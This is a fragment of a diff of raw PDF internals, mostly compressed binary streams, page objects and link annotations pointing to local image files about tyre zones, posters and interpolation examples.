-aFUBܶp57AFt6bFǨ|Ý;#r6'V;#W~SѢ.EvҞ\CA3֣\b)Bd}JtkN;tLzCm.l8%ͥ9 -BRF{gM::,ϵǪě)ʠnΕ7|VH5wFѹ|hFv0Tyߝ6$:ѥ l?F9++oߙ(O͂KSѢ!]!w|N\p{Cklo[8 GVn= ^wzl.e46:kvOlaY߲ǩgn?xSqXGa)׺]at5ʚjm{<:/JecG5%:ѧg?F屇ya8px㱇4,5-y~E~r믛~! pWq̴ 0?ޓ~fY7޼Dэ -f9,/ii#{>A?TʙZiVh`ٽDX\:´0jd>A mS t#c{,_[r-{MzT+W~Ù^>77oއg}TpE\HnܗO: &:$L()~ -*(n-&>}2z>%D1̨XܶKnH+D# '*ר<}22Or+o<}2Q:r Ty. -I@RNro*l?'w_ h<{lT6!Fi_H{>|eʨ/w,;yq͐)8mt8Zq -pfRL Ga?2UfCT^Yf.OQad0joAv韯&FULGL0e.BJ!\z Ĕ;?ff/F.=u -fB3s -endstream endobj 724 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 723 0 R -/Resources 4 0 R -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 438.615222 297.637795 423.600822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TyreZoneHardAVG.png) +>> >> endobj 725 0 obj << -/Filter /FlateDecode -/Length 3096 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 89.530422 39.386457 74.516022 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TyreZoneCropedWithoutBackGround.png) +>> >> -stream -x\M$ ?`Y*} $'$@CO'HU%U.f홮(|$6W~0?3jS zEu,_\lT1)krͳ5Y'/ZV럿^y<UQ8ǫ1ӤIas-?vf#ONE? =Z!M?^ -$hWZo~_s/_޵vs`5W~r.Suܛqqs<>6֗A:NOf+c.kB7RFI:ײNW%U3|q|3cE7Xed_s} 9NqEKF2y0-lIG2p-9{GJOf+61ce vSwVtt [ohYYւD*F#Ygug7)2[h%^wסu 6Ln.̬3c=0Q,H,{Ȟ$56m ]uF S/[,)Bׄ46(mL6Gg\7]!Yyۦ+l<@lf4CYm=! 4>2g;W;& rϔ7ЮиqGO-;xZC14GG| U14 Kܱ+šv. -]WZэMKz#ѝ=;N*$tKqzc+`qCm*H8ن=gPwc,>'$Cbf`.m Ƙ 4޼Y5smuA&g86(meVz74ُF#CJD =7>N )=04r~P]}"w;`sRD ~axe~wr{#1A+Y @-U-A^G$)2 qƒ1 D=ìO[bcĤRL<[рb3F'-B7=°sYy6;XR綹'́X-0-k_q;aۭe~ݻ:I6X4dm%l |Ɵqe~6x" 8EPc|0lS^S1X&rd]I-$H[>T#d'Ɓu3(SWJeW6yưP=RD!s6wF0,mMG^k5d -Lry' ]w/[/%~G@iU"#OzՃy|2Pf#Ũnš9{xGFaZ$ BGgij7(btw !kzeEP|nG3FM*D |&HC.Rr fB*P}`+@ -1'\V-hi55s9u7X9$nD83 vYs -p+ƙ Ef~ Q٥r?iRƅ8&bi)C߫6u>qf.v"55LzQ#/\6z+Z$#%L/X|̃OD1cC> +stream +xXɎ6+p)Hч`$$@D[&AOHbI`,t[ Y{U4?I+>u>~דC[ ]1:4Q)i^O9B1bgʛ/+LWOztH&U˖RuJ2Z>ЦS )5^mp`]z opL\+rL,T%茣83i_Sg=?=՝?-"l*H"(DՔw/ =Eڷ{t{ڽq~ZSzZa[ۮ.=NZ?}\dt^ZT>9|7 +ņp1$w#Y9g>CKJaBP&$tdcB0Z:-{j3}d!6<P(4 O|Kl%)ᜄ3MơW$Z6͵7X{jFu8#=\gNc3p##Lq.ÔUm3YI"Q^㪩kuSq ¶(>&pAI2ɕ$I$PgLcn4,`kJd&#U]\+"#c'\oR7h9; x%AE;䤒 + +<1ctфe/wkg M Pϣ rYPIS[hL/ %5i3_= E6*jǦ[*Z]pcYA쨳BVsBNb{ƒQ !aԗ`pCÂG] b1tA +h73MKe[7tu$ΰ[AИuJr=OزIzGf-}{@ իAC0Lay~43T`w}}jY +TTDbǻADՄ` !^pzӧ>"DP4=?> -stream -xZˎ7+9$$$$@kvar$o yy.rFEN$gEWtɧ'r9x/}8;)֋5Z wS8!wg)Z -yN_>E?{ʼnw!_#8D臗$GV")Ek+9|:}/h<&W^nJ!񯉟6avK֕k.y6߾_TΔk-康v]e7͗>y~͛~ms2-][ǗtM؎bSgG{f[]7)c1}Q)F͗/?rb8s-d N\e6Q"T nSQm-9ݒo篍 -KQߎTEϷvY%% {VZ}C8ʩw;*).3 -+AǒR"`%K .ѳ>E>nzZxU5ͫ0UiY,`%˵Ϥ;bUeؑ;A7鬻9*'eWa>Q=*lAy%GqAP9U$傱Attͳu@i0[j.۰{+VH6G%_\׆1)FNn׍IJ93.g{9p#ŢAK&:#Ό6ztnx힝{$pnqDe=-T$9;ݨ-rB'|9 PX!3(F4_;]*)V^wUN 9x&(]z_y(8?/Dwk?l5{7!TY*(ED_T_$^>ގmtLC9HBRmA8߉9V=R'0Z.#?Oj;Yb/=<rhl[i?WrBV%`#f*{KP. t9Ytl}?~Z[/-[1p_KeTCt-k k+@З[?(&lQ _} JpʟaSvI(-KnLZvV*jwT?Y+0`~h?k 傛®K\tW -Fyi J)CMQ׋c(v@5|eމ!7(iN/@z10z-dXcv_M%`5ȳl_ ?`+9Hzj;ĥb;. &z%ެ̸W %TPΩR^9-[]V|z3U8OFMhNs$αe;)iw?Y -endstream -endobj -728 0 obj -<< /Type /Page /Parent 1 0 R /MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 727 0 R +/Contents 726 0 R /Resources 4 0 R -/Annots [ 729 0 R ] +/Annots [ 728 0 R 729 0 R 730 0 R 731 0 R 732 0 R 733 0 R 734 0 R 735 0 R 736 0 R 737 0 R 738 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj +728 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 59.636457 753.773622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TyreZoneCropedWithoutBackGround.png) +>> +>> +endobj 729 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 392.726022 37.466457 380.322822 ] +/Rect [ 297.637795 753.773622 297.637795 738.759222 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Figma/PosterV1.png) +/URI (./Images/Screens/TyreZoneCropedWithoutBackGround.png) >> >> endobj 730 0 obj << -/Filter /FlateDecode -/Length 367 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 671.194422 39.386457 656.180022 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TyreZoneFilter1.png) +>> >> -stream -xN0 EÎ%4 , RHKܤ3vm}rcjPd֎B+v~|Ukj^f )S"or/WKAg16`q VH4lʷbڔr`5&0]YqUG9F*#8ʄЃ,kںYDi +*"`L -\\z 7? Sc c [xӯx eR ZFTϨh@%p2iM?AilG8n98$YmQ.nd;B[-uz0ke8 -endstream endobj 731 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 730 0 R -/Resources 4 0 R -/Annots [ 732 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 671.194422 59.636457 653.944422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TyreZoneFilter1.png) +>> >> endobj 732 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 35.138876 ] +/Rect [ 297.637795 653.944422 297.637795 638.930022 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Figma/PosterV1.png) +/URI (./Images/Screens/TyreZoneFilter1.png) >> >> endobj 733 0 obj << -/Filter /FlateDecode -/Length 612 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 492.539622 39.386457 477.525222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TyreZoneFilter2.png) +>> >> -stream -xTM1 ϯ k'KUHpXTNi/|M.{A4M&^}ߡ6%,?h{^|QE6lH ":齥=DsZo#@L :g e 4}y\h<^.QݪC!aN D%b0˧Nrr,w:p?`VV*)Zu~@i(R6!i5 &2*F:\1Gچ7+ -qÉȼ=u p eOx6ŷ+C?l4Z[626~0_ES롭_8?5~[?AnzNo'Bb+D2%B#7ρJ `MNhs犺+hCxll"jYדJɷiRߝ}.z\p(Ţ ULsk+ɂ~j#7ґ^:qh[ MDNJШZbZ=PhRZPSB\385~:(>s6NrQզqndF8W'c -endstream endobj 734 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 733 0 R -/Resources 4 0 R -/Annots [ 735 0 R 736 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 492.539622 120.386457 423.539622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TyreZoneFilter2.png) +>> >> endobj 735 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 771.023622 297.637795 758.620422 ] +/Rect [ 297.637795 423.539622 297.637795 408.525222 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Figma/PosterV1.png) +/URI (./Images/Screens/TyreZoneFilter2.png) >> >> endobj @@ -11100,186 +10093,164 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 670.247622 37.466457 657.844422 ] +/Rect [ 39.386457 340.960422 39.386457 325.946022 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Figma/PosterV2.png) +/URI (./Images/Screens/TyreZoneAfter.png) >> >> endobj 737 0 obj << -/Filter /FlateDecode -/Length 365 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 340.960422 120.386457 271.960422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TyreZoneAfter.png) +>> >> -stream -xN0 y·K8 .HE !&6_I;uowɣ ٫$RT89h89{MJ^h1BN1}ܫE#D!@&[w$@}w 4[Pw(3R&tcrNͧϡdثL}*?} [>خѲ~tٞu#U1Rb%韃 ~bk۸"9N+|J<|3b}?n.PFZK-U8 kOPɀ(\u@ ԟbV)`9jno!CUCK-lЮi2|` -endstream endobj 738 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 737 0 R -/Resources 4 0 R -/Annots [ 739 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 271.960422 297.637795 256.946022 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TyreZoneAfter.png) +>> >> endobj 739 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 35.138876 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/PosterV2.png) ->> ->> -endobj -740 0 obj -<< /Filter /FlateDecode -/Length 3597 +/Length 1634 >> stream -x\Moϯ?\ :Hp0ib!,c53R۲FlXzȖ: Fw|rz[I{];G#L*ijWA(%.j-Z󯯧yVjYU[s//J/:@Pw"uIDtt"X9+V)sc.Ӹ9dLPjq WA"Rg {/PfUVpXCB=GU"WUFY -#sr}Tjn!ы%G޲4HSdL[e>ɒw֯ذ3xymd\锼ɉ?oy9>EX݌# X\Z &$^[2mB:Ť${Ggu5V# `qxaP98EK,lwз;Yt<_3{p,hͽy:Q,m[;۸/s >]\ fFJI_ VG~R  >O:ɳğ%D c(d5Yp-mЙ n*o@-`gm/LqcO$0b\H܏E@Oah_ Wm> H,əF,/i%T -ϑ dts+,Vb2G+TLW=6K>6٪V ^Sh/~u[͆qg1;[ ܋h=ZfFx#!nLn\?T hj<.1$,ܚ q8gp60%?exeKwe1;/U8b^1ZiBk6Lx7ClfՄV(g2JUA טe4 -z63|BFp$ xoFn#هpjX޷M8Ǜ&gler!38\rR -Puw4fv󑲣.mƍ wAmG,Wy5O瑝g3,Ϡ)/@%PwPD$4E =܃̇g;|ҽ=r^4+u2"U927`ߘa0^ mFs&&ꅴ,2JH唃t),m4.IW2#7Xa++7^}ۏO[,6;:S;CoJpNlnq#qc9`;BD2۹X'GD7?JijAYHPfFl>3u)~Ȯ>(k`>:Ӽf@G,0@.5GY0b1 -o {(ћᙦY0> zi,n6cS۵^&5Uǽ~| lj0A%ZV7;Vnup#qvy2+D~:bpCjAfV]"yInR+?s;`Mw -a,?T6EC#Lpy2?/C mxS%mn16=Ҵ zcAdžMs!9"ܗ1uA50=̓ 6R7mؒvy{j6>)L<zT|?%ʂ FE;z05#άς= - -qGQ -7hڕu9&R %l8-AYn?!TB?RQXM`rˣVыG3J<|jV0")'}<㽃d!ͨ`R>p~j w:xrfK> )v=_IvuIgK {/d t:ӈQW7WvD"lm/6ٮ'M3^ m*Z^ʺ7]~;ēʜq" 0zi&?7)HM 8rT[1|߆4{#soZBrO?t"1~u, (Vf!7RΎ냾3]^}Wn>@ h;2cS?e<{yQKowm:2H/ ޚ wݱ>zw{W]M-M1[&}XʸrDO;fSPUjΡS,ec2U"y&&h}_hh3 -fS+ -H0a1u֡_E{z=&VX +xYm#7 _1|m@K[ʵPlk#;$ݐؖG#ހ>8kN +RGj~O; {arTj-h-ya.wA 'nPJ 1)~|ܽ=v'R*ņG +A}AE@zLvo~7AԧTO?zo$]o^'_U4E3Aiآ9)! “0zfܜz뜕~ݱҞڣ,n>ŎԮm=\aw- hqmhWcc]'ɉ_?:a5ˀGC' ๛i}qΆ_p2` l-enpY8 Ѳ @.GeȌ|c0Gf5좪]u#)E;%N~%AzJ*Ǡ+h, ډ4!P-mAiSs^$1{ CP-R[̝⺬yѼ)+cxZ{lmnLT+ŖC@.Ѭ1qxΠ.D -#6@U6g|~D^q|_SelUAZ*_RV6aB-*p&͠b +f}JrJƅS!Őȓemv]p4{K}C 37sF_KlrYw%JNme3b^Ȋ$/[d% k" b6EÕ>Gr-v&F&1ҌZ6 KCs3ᘱm<zeC0x^8;)=͖Q*l~ɇ*68Ʊ)|aV~,e%/=mN|+][Kcl3*SAY Ǥלپڒf9欐l9ߓ [9I^cI#@n+_Y],_}X.ɲR2cܫXޖi=ye + sJx+c:^.**'潨0J2.e_uihWY*|=']uy@4%cv%(~8 +Vdެ=8D&s0em׈ +s Ox\-ӌ5`6ٮ#rM5(1Z(Kֆz/KG@N,G}T_!TV oVr~=*N3ZC M + pGJf6ڂ ޚv+F[7ƍ6}J9Tb~yQ| "o,avNb4Y`oN__}sWߜT7纯=mͧ('g7U)W(A 8$~_+f)ҎCIfI,QpcHa㟫ɜaJAt(YCS%01Tt418_O\*2C*V~[^Iy} endstream endobj -741 0 obj +740 0 obj << /Type /Page /Parent 1 0 R /MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 740 0 R +/Contents 739 0 R /Resources 4 0 R -/Annots [ 742 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj +741 0 obj +<< +/Filter /FlateDecode +/Length 1734 +>> +stream +xYɎ6WLs_cA  A)R,HYtDWKଞϗ/ΜVTsHg^09\*3Z)/_.(8wMBHɌ֛BLY0>}AQaHk8G/ y~?O"'(w˕sႂF{ S/tF]WI{gK>{zl0q9?=W6?g֤xϙ19Ǒ\ +r}/ʃPLIvx<u˴zJIOM֕`]Y72LCzJ3Ш9&+J_qbX_|7% ĨhJX(qGu?f7~yq}|a!ZGCA9wRFÔRJQQV5RΌ3Y__#^%.6PM(hhWPJhj@mXT^TI9pu6Fϓ6&!@o(pЀtꋪ1!v7Sk3MKf̤4V=ۊV"N s sԨpw(œMI=8MXd̮"u+QP.@1 'ԮCvR^\mPv&癦ȇ;} J[q!$/zw v¨;p=n͕♖='lLin z?H `L@4Bqʺ#,Fzm#Z **{;S=a~}LEԩƑ<4 ˴ v=j;}k%6Ce9ݽ-'zFϨS:5>{>L{E;哵08JwF8q>@IxT1i7l`O{ۿk;g7-iN~g6epcб;qII&3&wy 3ɴt;_ `B^jf'*0:-!kg07R;vF6rc}H98vضMa''mhyu(:qNKFL%ڱQfW1Ijc\+lp]rsu2.k28dѼ|4pt'˪XOn!ƒbo !!AU31ׅrfxC _9' J?+yn%E9/B\Gh[ႚW\N ]o,DM=>q*md`.ߧH +endstream +endobj 742 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 297.637795 771.023622 297.637795 758.620422 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/PosterV2.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 741 0 R +/Resources 4 0 R +/Annots [ 743 0 R 744 0 R 745 0 R 746 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 743 0 obj << -/Filter /FlateDecode -/Length 3905 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 430.384422 39.386457 415.370022 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Photos/InterpolationExemple.png) +>> >> -stream -x\ˮ#+nw 1$ @f88d؇dKl,&YSU+"N#w|$oE辔J'bB! BtQ?ӿN~Tj2`s y~E.˿O4:[Pڈ%uI N,vnJi=}??.v;!TJml=MϤBvlc}k[>misq:́oK׹]w We֦IK2^\:S9Wl>^ns+s7Lfm_U_w-sykWxC4% Zo. J @WJ\#`a[Su>~Shu>N  _Fwm֮{f퍂TAj?-n#\7a,)Zp5)ZOB({~@^%W -ܢ@ -VLr -,c'sVsdvߦAtO2KU68G'_5?^9݀~luYh)C7w gtIݏxb\ECl:}g4sCө-\U0sDݔXG>hiwby4 u HeX;4.9 .w5r@}Hjp^U_dq눒Md$%,.&F?pc6.)̍-0VkT?i *H#w]&U~f|{tq0ƔDcKIl]XWaxp9X]dSEM1h# A&E 5udLA&C-a+E%.)"=l`8mI~vZfd*K$InB|3g,yJh)qQcAZKv&W .>(KN/c$W%l)#k!y$r -3`#ae+Tw0m 2+آT=X`';1Qu`KI#HD-FS+Zv~+ҘE+̼;VC"吥w teB1АisٱB@C#5Hc"GЙh(-(MUum(0EaBn Gp~0g8u" -Ԣ >'9wb60$,N`XgsR'~x}Pw jY״Nl5P9+ x]3rM˵Xvy1:LIʫ^Hb4MrőA!'\Y!shCLsE~CgX1cpr=,?r􃃀2ΨX`i+E%d'7qrGt/Gؑr'bAe.` x v-@ 'euXwb^]zEe!f=n4 B/֐ѣqˁAY]|\SvBL$I~ˋ܅SWtv.I;UvTwh$hRİy쟁Bc}iKr>5#&"n4v"{Z"čkLQ}5 ІvlE/);m-tʪS`oKv.kbL>V@VO.K7J.?BB"a{ݒ[>L!|CBB#rMSp; -&c -U m=F`7[I+ZK?QԉAj q9g+R ʝ{r{|)7{8G;=wG|<؛5zύ[nxh/u_OިEi?:,|՛-WC,m'"3ՠzLK8֫m~p -O'+#lmmۆ/ֹ]Oe\ |-sM?p_@"?"Sz/$usYc()iT_?[[16$ȽH+~*$AVy[ҹ) VeO@!w}w&AP gX?;nkY!nmoOCJԲ੍ [K EyFOW .'0 t|7\/zBk@B:ɯ -×N|> +/A << +/Type /Action +/S /URI +/URI (./Images/Photos/InterpolationExemple.png) +>> >> endobj 745 0 obj << -/Filter /FlateDecode -/Length 3459 +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 292.384422 297.637795 277.370022 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Photos/InterpolationExemple.png) +>> >> -stream -x\[d~_EZC&ypHQzz⍴ -:@Ɩ]wÁ řǿ߈>8ϧ/'ΜO?_N1t4 Nx&*6*ŌVO}JﻠywBJfDޤۋ`N86d}8CNt˙$2ۿOmZʧ8s#'6x:UtPmi\w`lƣnXƊ? ?id=S[{/ɴȖA{˕5 Hj4v?'O^wk֊~.eS]G~jO}f{fnӿΟ>AtrHi.F7`6e t]߄ɷ2Ac |:0j `0"8R͵gFMJؚt@mi׆˅ /}Wd9zAnndqmwCu6Zsl9``HҞf2c-^HXPN䂨Em0ԍ\@%>GggLLsBoE 'qdUwpQSeHWB4e(܇f.=Q#呀G :9Ayt2# GפɀQ)AL&- =U 47ֽُW*m9@ezGCEn@QO?pv OhS00[U@ B~/&Ƽf=j"+ȭCʄ, r`1T0-3ebԖ4ns\&N 4>)t o]~NŪ0z^0gXF͉RoA!4ai F!AlAM(~)hXʤboҟ HPA:TzK.cGn.wJ ²d=N^oWM_9/}Βwyx B$sfSVLz\pPvVZl qw 5ˋ!ڣx|w)9bAˎjG:4g~Q*fZB4ݽ( -*h %W G-a(O[6-X`3{m`05„r6 fy~  jP~kExC^e̿v(6H -SSZA=)]):a!]yߥ TW1T8XexH/k裑bO¦-q&07.Pܹ0{ .sKV2]|rZ2)#n$n1Ǭ -ҞZ.5Z# SEӁ >xXC\4Ïic%H gVڡΗnЦK9!1\Gopll<¯ I!5qd\HTtD^v;KєM[33|wgǢ)zU=,gn՛vzڞ5~ x" @iˢ0\% -좟| KB.Y9<$5_b.UoZk7InF.`+_`Xs myt"ɛǦtkSBj;U:6 3NpwBW4ő Ed1saZWwz*UZ}~pa2ƌvnGY/I,ȴ+#Xׂ\CIlۼr: Znܩ)9EGII/EP/X8/ - -OJ"2_PŢB$6]Jvb=dV\3r. -yKhs ù)aې(3ז\RR^e366FifEQakz1,҉sL/>&Z Ɨ%d>S1^yzS|(A쥷vw8#uhb'8Zhn&E_ -=^.M I 5Zj"Ph Ŕ J9zDpJ/pr\P:FVn,2R<=/p8M=An cC1 Os*sM@F2bfd7S/.YɌQO`8ͱeC}4[M/*z@fߤpB0}˼ZQ?a*|قXW5궁F{y^um[8b?3'6(TV3=|@+7I6, [&X}|x%XSr `ߋӗuvv^AyҊW/M-uq欓-O|S)]Ep3aRQTټpQRdH~+b%֯q;xe3΄pFd5-=̳O,?rTnU~W }#ܳTjG _ó>ZMll U |Fg 9z`ք0܇'h/"abew;TuB\`i;{Y}Wa`־ xs_lp=CDv+n,> +/A << +/Type /Action +/S /URI +/URI (./Images/Photos/BicubicExample.png) +>> >> endobj 747 0 obj << /Filter /FlateDecode -/Length 3360 +/Length 739 >> stream -x\ێ}W YI6p)\0sL{/|8;\ب3Z)ο|9SzλR2#&N]slj"CY"vX" IaONOς3lZʧ8cܤW\:˫ K{z{}+[1~y\z~ן:VnK^Q\ȕE|2mW緫Y/Smo9x2.~<[dI:'=V7Ye*\߮}N2!}R\yޗ?}H /ViP_BגYi:E 4(IyBiPFX*42r?{3]gD.['K-фt.;F.hɈRA'8Xl[Ě)`1 y JL05roۺȁsfEHɦ (JeO [Q+ m; qݤ"Cq+/2F"xe\9`ᮀFA4Z[ i49h#5Hi;F'i z; ڡ,CU?A@/Q]d)`4 IO$B7ۭC@_}ƫ.8҆X2# B,HXaW uPZ#5Q7y p蓪?͘XwOFlZeC2s=WLI ̆LJ[Mw-Mp킫y[4i怨̓qYwhvgnLrC4|4BGHv b0z{ PG1чf? mEO[kШJMd E(lgG+p#\G46խi*Gt -ph"7C"i0ߔ@@$~^I١|a0.,!HNM '5  -~7}[7hJe>H p$ Vn0%]o,ЖƇv<_M-$j&F$9K鏨!b?|nJruCcqږ𑇙.J!)j[] ]~Y͙ -g(4txd ("r3~}}S+S9혎lj4x&Y̡<(j|s -|_ׁ  ݠ`6ǥޑ -ɸ13>sfFfP<{b1yKొ- -)(RSv3:Ȕ1ψ&<xO؞"m::5q,8#wcS+;R!{#Cq%x`0E+u<;G,;8L;=ߔvfR: hC7Xy[:"/$ۢ"ϯ~gZV;D4HlRÑ$"m$_D^eh)z@ӥ{xRS=t$ p,Mẗ́ v1<8\iZW JF{{ݜ9%#&̜.5|Վ+ ܨʃP>9ޱb - /}| G*o<;l00I3qomhǝs?:ʐT"k4(X45R00FO0V Nfʙxڋ@p}7scd`D}u#ÒzQ/D nȼ9hc#菺./+He$݉e6Ivuw4Ǟa A ` Qӓzޔ&PRXzL2ϠԎ֍a<7{dvs&AzG&pS< }guU2D=s"geY\f>w(s0F{*72;(S.sc :.n7O6,ԁ]vrZ1M$u|Hg޴GQ>VnWri1!7]dn6=Ŭ̪5鰱vjh-dަ!_~^22c]oF7_k9B8kȸvǫh^6ҍ+]a.iӤ76$IK EڣiISYPg?|z^mloWv`.22T1(ē9p2B4v~-:l{ou/s"kiۼ.Eh 54_X,uq=ֻG ,xI9\ >:&YLW肗O;b1*w`Dd0]vh @Οshk:`}_Gp,@̯?\1,PY!pkyk~fb#*(I j&5/ a݁cam$U澽Y'kcaJS ڗ4$Tɗ5Er:h:mR8'S*pm -fF3:iPbiA+pЌ)4LU6L`)_u2PP> >$TT_oLe :?s,-cVR|&WЏ\|,BFzzH)Irmʩg:>wyy`cAGjnaMkZJ3)I9"cލc?rP -y^2.<6K=GjpJMmh|y\'H{n{Y*UZx'VTg2-DZRv0ʺ(kL[.Fooݴ$ pf"۱qI73zA$MTC4$D,+ɶ^(ߍu$`4e!= f/:U%ӽtyPRCa6 +xU͎1 Sڱa.+8ӝ@If.Č&Ϯ}m)x6i)"@$.xr -"8C"+L?7G`CdMPeI8a 6 K2us?U< #=Pd 0# +虬 XU=T,8%o%6M4§3ѺLatAopp=:@2(Z0lAHӼUaj'R娟XmX|,6E.lϲ.&;/,JkrO";C-kiU˧l_TKvL1g˝~#Uό-puWR{rA> @@ -11298,218 +10269,203 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 74.715726 37.466457 62.312526 ] +/Rect [ 39.386457 771.023622 555.889134 426.688504 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/EmptyF1TV.png) +/URI (./Images/Photos/BicubicExample.png) >> >> endobj 750 0 obj << -/Filter /FlateDecode -/Length 1496 +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 426.688504 297.637795 411.674104 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Photos/BicubicExample.png) +>> >> -stream -xXY7 ~Q:m>t-wlFGf1Y#%=}_kNSnv}՟<|K䔋Q4`,uZY az}!YB (Gzϻ7`L-[op!j3y ӗKŽKvԻ%)րWgS:+~rIâX *iv -6&I^Wl=][ &Vg  7ɻ##ip:}Od,E$~+WUD_"hI0ݝwP 3AOHZQDMNib~Zzȭpf*ԟ&.&m:aspq!ĄM<zOđۇuGhO9bp/52XC˾ᢧ  Ȑyb>+De -zqh}f^+:e|ua_YNԳE6g1bqWBR8ET:a@~TĎnޡO9~o'M.]"L٣lJ6RLRlZ1{5nk)AL9pLYl%;>~s$>I6Eda[ *KlGGD:05XpQ,_ídep=w\E!]H넒s䠌W -S_[`LP2 bJsWLiy$veą'.'d[%7 i V8}1ydڂǺ4kI"ފr eW &ּ_QR5 -a"7+}'fײX#rǣ+Ple8ulu:׼zwoxE =JV/őҕuY :*Hur ~^S,vK+0G춓X:'J Bo`US)R kQs/1_F<_p ?ܾeY)` Z+Bd4OcTV嬔7'}O9'Xy*Ʀ鵎 R[=^ArԵ; -D( p K זS΃"߉4vV!N-y!h؃Nf$JX8[* 5= -EfC1QyH@*o=iQJSj@;KصD*28N cn~[] T$UqJFAl⇗eZt}.cD:O}Y9ϳϿI+cjuһ&CY7%$&&kE. zŦ}W:_|]4UۨtCǖ A~R0󧝲}Ʉ̉Phu?>¹c@:Dۯ${TdM+D|t  M0*w䋃3S ߃AMA?mV ʘsn͟e#Lѱ nzbf(їqQG -endstream endobj 751 0 obj << +/Filter /FlateDecode +/Length 941 +>> +stream +xWM0 Wu>H= pYiHC+vN4iāfڦd>^(!$Q@oE6< &?`PbpVZ"EA"hÃHgOÇ`$ PJkT䒅xzF%A<fjKf40*U4O9Wyk<&N px##ZHAr" 婄e:M`$IY+Nwo> +i>],NͅZa,.5ORgz^!]GSb-2l{nQw0K, ̒F/>BM{ܽf4&48S+FK FbHcY|#V5)S ȍaMt+@W%H/tw d;j$%B׸]iֱy>G6xxaMǛtt~{cm[~kSlN2Mq\7wYDk%(- eyFMU?bxe2K_mo+UJ(s-^ꔛ +Yi1?kv=C$[[~%`1z黺"c_:T0UY~},ٜ9ΛѪ1߰&|0yJŤΏ; PV'6r}]9oZYﳋ~/PDxv~{ɟP6rK+Ӯm%*<,kϕgop)>}p =Q>3}H_-&PqE߅UP~^x 䥚Wrg-ܲ +endstream +endobj +752 0 obj +<< /Type /Page /Parent 1 0 R /MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 750 0 R +/Contents 751 0 R /Resources 4 0 R -/Annots [ 752 0 R 753 0 R 754 0 R 755 0 R 756 0 R 757 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj -752 0 obj -<< -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 479.143902 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/EmptyF1TV.png) ->> ->> -endobj 753 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 297.637795 479.143902 297.637795 466.740702 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/EmptyF1TV.png) ->> 